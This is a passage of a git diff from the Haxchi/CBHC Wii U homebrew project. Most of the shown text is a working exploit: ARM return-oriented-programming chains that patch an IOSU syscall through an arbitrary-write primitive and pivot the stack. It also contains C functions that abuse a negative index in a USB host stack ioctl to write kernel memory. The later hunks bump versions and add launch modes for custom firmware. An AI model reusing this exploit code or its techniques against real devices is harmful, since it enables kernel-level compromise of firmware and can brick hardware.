0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xA4
|
||||
0x0, // 0xA8
|
||||
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
|
||||
0x0, // 0xB8
|
||||
0x10123a8b, // 0xBC POP {R3,R4,PC}
|
||||
0x1, // 0xC0 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xC4
|
||||
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0xCC
|
||||
0x0, // 0xD0
|
||||
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0xD8
|
||||
0x0, // 0xDC
|
||||
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
|
||||
0x0, // 0xEC
|
||||
0x10123a8b, // 0xF0 POP {R3,R4,PC}
|
||||
0x1, // 0xF4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0xF8
|
||||
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x100
|
||||
0x0, // 0x104
|
||||
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x10C
|
||||
0x0, // 0x110
|
||||
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A00004, // 0x11C value: MOV R0, R4
|
||||
0x0, // 0x120
|
||||
0x10123a8b, // 0x124 POP {R3,R4,PC}
|
||||
0x1, // 0x128 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x12C
|
||||
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x134
|
||||
0x0, // 0x138
|
||||
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x140
|
||||
0x0, // 0x144
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x00000000, // 0x150 value: NOP
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0x1AFFFFFD, // 0x150 value: BNE clean_loop
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
|
||||
0x0, // 0x154
|
||||
0x10123a8b, // 0x158 POP {R3,R4,PC}
|
||||
0x1, // 0x15C R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x160
|
||||
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x168
|
||||
0x0, // 0x16C
|
||||
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x174
|
||||
0x0, // 0x178
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE1A03004, // 0x184 value: MOV R3, R4
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE8BD4010, // 0x184 value: POP {R4,LR}
|
||||
0x0, // 0x188
|
||||
0x10123a8b, // 0x18C POP {R3,R4,PC}
|
||||
0x1, // 0x190 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x194
|
||||
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x19C
|
||||
0x0, // 0x1A0
|
||||
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1A8
|
||||
0x0, // 0x1AC
|
||||
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
|
||||
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
|
||||
0x0, // 0x1BC
|
||||
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
|
||||
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
|
||||
0x0, // 0x1C8
|
||||
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x1D0
|
||||
0x0, // 0x1D4
|
||||
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
|
||||
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
|
||||
0x0, // 0x1E0
|
||||
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
|
||||
0x0, // 0x1DC
|
||||
0x0, // 0x1E0
|
||||
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
|
||||
ARM_CODE_BASE, // 0x1E8 our code destination address
|
||||
0x0, // 0x1EC
|
||||
0x0, // 0x1F0
|
||||
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x1F8
|
||||
sizeof(arm_kernel_bin), // 0x1FC our code size
|
||||
0x0, // 0x200
|
||||
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
|
||||
0x01E40000, // 0x208 our code source location
|
||||
0x08131D04, // 0x20C KERNEL_MEMCPY address
|
||||
0x0, // 0x210
|
||||
0x0, // 0x214
|
||||
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
|
||||
0x0,
|
||||
0x0,
|
||||
0x101312D0,
|
||||
};
|
||||
|
||||
static const int second_chain[] = {
|
||||
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
|
||||
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
|
||||
0x0, // 0x08
|
||||
0x0, // 0x0C
|
||||
0x101063db, // 0x10 POP {R1,R2,R5,PC}
|
||||
0x01E30000, // 0x14 source
|
||||
sizeof(final_chain), // 0x18 length
|
||||
0x0, // 0x1C
|
||||
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x24
|
||||
0x0, // 0x28
|
||||
0x101236f3, // 0x2C POP {R1-R7,PC}
|
||||
0x0, // 0x30 arg
|
||||
0x101001DC, // 0x34 stackptr
|
||||
0x68, // 0x38 stacksize
|
||||
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x40
|
||||
0x0, // 0x44
|
||||
0x0, // 0x48
|
||||
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
|
||||
0x0, // 0x50
|
||||
0x0, // 0x54
|
||||
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
|
||||
0x0, // 0x5C
|
||||
0x0, // 0x60
|
||||
IOS_CREATETHREAD, // 0x64
|
||||
0x1, // 0x68 priority
|
||||
0x2, // 0x6C flags
|
||||
0x0, // 0x70
|
||||
0x0, // 0x74
|
||||
0x101063db, // 0x78 POP {R1,R2,R5,PC}
|
||||
0x0, // 0x7C
|
||||
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
|
||||
0x0, // 0x84
|
||||
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x0,
|
||||
0x00110000 - 0x44, // 0x8C
|
||||
0x00110010, // 0x90
|
||||
0x0, // 0x94
|
||||
0x0, // 0x98
|
||||
0x0, // 0x9C
|
||||
0x0, // 0xA0
|
||||
0x0, // 0xA4
|
||||
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
|
||||
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
|
||||
0x0,
|
||||
0x0,
|
||||
0x1012EA68, // 0xAC stack pivot
|
||||
};
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
|
||||
//! Clear out our used MEM1 area
|
||||
memset((void*)0xF5E00000, 0, 0x00070000);
|
||||
DCStoreRange((void*)0xF5E00000, 0x00070000);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *pretend_root_hub = (int*)0xF5E60640;
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[5] = 1;
|
||||
ayylmao[8] = 0x1E00000;
|
||||
|
||||
memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain));
|
||||
memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain));
|
||||
memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin));
|
||||
memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin));
|
||||
|
||||
pretend_root_hub[33] = 0x1E00000;
|
||||
pretend_root_hub[78] = 0;
|
||||
|
||||
//! Store current CPU cache into main memory for IOSU to read
|
||||
DCStoreRange(ayylmao, 0x840);
|
||||
|
||||
DCStoreRange((void*)0xF5E20000, sizeof(second_chain));
|
||||
DCStoreRange((void*)0xF5E30000, sizeof(final_chain));
|
||||
DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin));
|
||||
DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin));
|
||||
|
||||
DCStoreRange(pretend_root_hub, 0x160);
|
||||
}
|
||||
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
void (*OSSleepTicks)(uint64_t ticks);
|
||||
int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
||||
DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read
|
||||
OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU
|
||||
//! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640,
|
||||
//! which is the physical address of 0xF5E60640 for us, right at the end of MEM1
|
||||
int request_buffer[] = { -(0xB349B), val };
|
||||
int output_buffer[32];
|
||||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||
}
|
||||
@ -17,6 +17,4 @@ typedef _Bool bool;
|
||||
#define false 0
|
||||
#define null 0
|
||||
|
||||
#define NULL (void*)0
|
||||
|
||||
#endif /* TYPES_H */
|
||||
@ -12,8 +12,6 @@ project := .
|
||||
root := $(CURDIR)
|
||||
build := $(root)/bin
|
||||
|
||||
CFLAGS += -DUSE_SD_LOADER
|
||||
ASFLAGS += -DUSE_SD_LOADER
|
||||
FIRMWARE = 550
|
||||
|
||||
all: clean setup main
|
||||
@ -26,9 +24,9 @@ main:
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -o code$(FIRMWARE).elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map code.map
|
||||
$(OBJCOPY) code$(FIRMWARE).elf -S -O binary ../code$(FIRMWARE).bin
|
||||
$(LD) -o option_select.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map option_select.map
|
||||
$(OBJCOPY) option_select.elf -S -O binary ../option_select.bin
|
||||
|
||||
clean:
|
||||
rm -rf $(build)
|
||||
rm -rf code$(FIRMWARE).elf code.map
|
||||
rm -rf option_select.elf option_select.map
|
||||
|
||||
@ -7,6 +7,7 @@
|
||||
#include <string.h>
|
||||
#include "types.h"
|
||||
#include "coreinit.h"
|
||||
#include "../global.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
@ -111,7 +112,7 @@ uint32_t __main(void)
|
||||
void*(*MEMAllocFromDefaultHeap)(int size) = (void*)(*pMEMAllocFromDefaultHeap);
|
||||
void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap);
|
||||
|
||||
int hbl = 1;
|
||||
int launchmode = LAUNCH_HBL;
|
||||
//default path goes to HBL
|
||||
strcpy((void*)0xF5E70000,"/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf");
|
||||
|
||||
@ -229,7 +230,7 @@ uint32_t __main(void)
|
||||
}
|
||||
else
|
||||
__os_snprintf((void*)0xF5E70000,32,"/vol/sdcard");
|
||||
hbl = 0;
|
||||
launchmode = LAUNCH_CFW_IMG;
|
||||
break;
|
||||
}
|
||||
else if(memcmp(FnameChar+fLen-4,".elf",5) == 0)
|
||||
@ -238,6 +239,12 @@ uint32_t __main(void)
|
||||
__os_snprintf((void*)0xF5E70000,250,"/vol/external01%s",FnameChar);
|
||||
else
|
||||
__os_snprintf((void*)0xF5E70000,250,"/vol/external01/%s",FnameChar);
|
||||
launchmode = LAUNCH_HBL;
|
||||
break;
|
||||
}
|
||||
else if(memcmp(FnameChar+fLen-7,"sysmenu",8) == 0)
|
||||
{
|
||||
launchmode = LAUNCH_SYSMENU;
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -256,7 +263,32 @@ fileEnd:
|
||||
if(pBuffer)
|
||||
MEMFreeToDefaultHeap(pBuffer);
|
||||
|
||||
if(launchmode == LAUNCH_HBL)
|
||||
return 0x01800000;
|
||||
|
||||
//store path to sd fw.img for arm_kernel
|
||||
if(launchmode == LAUNCH_CFW_IMG)
|
||||
DCStoreRange((void*)0xF5E70000,0x100);
|
||||
uint32_t entry = (hbl ? 0x01800000 : 0x0180C000);
|
||||
return entry;
|
||||
|
||||
unsigned int sysapp_handle;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
void (*SYSLaunchMenu)(void);
|
||||
OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu);
|
||||
|
||||
int (*OSForceFullRelaunch)(void);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
|
||||
|
||||
void (*OSExitThread)(int);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
|
||||
|
||||
//do iosu patches
|
||||
void (*patch_iosu)(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) = (void*)0x01804000;
|
||||
patch_iosu(coreinit_handle, sysapp_handle, launchmode, 0);
|
||||
|
||||
if(launchmode == LAUNCH_CFW_IMG)
|
||||
OSForceFullRelaunch();
|
||||
SYSLaunchMenu();
|
||||
|
||||
OSExitThread(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@ -125,9 +125,9 @@ int availSort(const void *c1, const void *c2)
|
||||
void printhdr_noflip()
|
||||
{
|
||||
#ifdef CB
|
||||
println_noflip(0,"CBHC v1.4 by FIX94");
|
||||
println_noflip(0,"CBHC v1.4u1 by FIX94");
|
||||
#else
|
||||
println_noflip(0,"Haxchi v2.3u1 by FIX94");
|
||||
println_noflip(0,"Haxchi v2.4 by FIX94");
|
||||
#endif
|
||||
println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok");
|
||||
}
|
||||
|
||||
@ -1,2 +1,3 @@
|
||||
a=fw.img
|
||||
b=sysmenu
|
||||
default=wiiu/apps/homebrew_launcher/homebrew_launcher.elf
|
||||
@ -2,9 +2,9 @@
|
||||
<app version="1">
|
||||
<name>CBHC</name>
|
||||
<coder>FIX94</coder>
|
||||
<version>1.4</version>
|
||||
<version>1.4u1</version>
|
||||
<url>https://github.com/FIX94/haxchi</url>
|
||||
<release_date>20161216200000</release_date>
|
||||
<release_date>20161219200000</release_date>
|
||||
<short_description>Coldboot Haxchi Installer</short_description>
|
||||
<long_description>WARNING! This will install Coldboot Haxchi on your system.
|
||||
ONLY USE THIS IF YOU ARE WILLING TO TAKE A RISK OF BRICKING YOUR CONSOLE.
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
<app version="1">
|
||||
<name>Haxchi</name>
|
||||
<coder>FIX94</coder>
|
||||
<version>2.3u1</version>
|
||||
<version>2.4</version>
|
||||
<url>https://github.com/FIX94/haxchi</url>
|
||||
<release_date>20161213200000</release_date>
|
||||
<release_date>20161219200000</release_date>
|
||||
<short_description>Haxchi Installer</short_description>
|
||||
<long_description>This will install Haxchi on your system.
|
||||
</long_description>
|
||||
|
||||
Loading…
Reference in New Issue
Block a user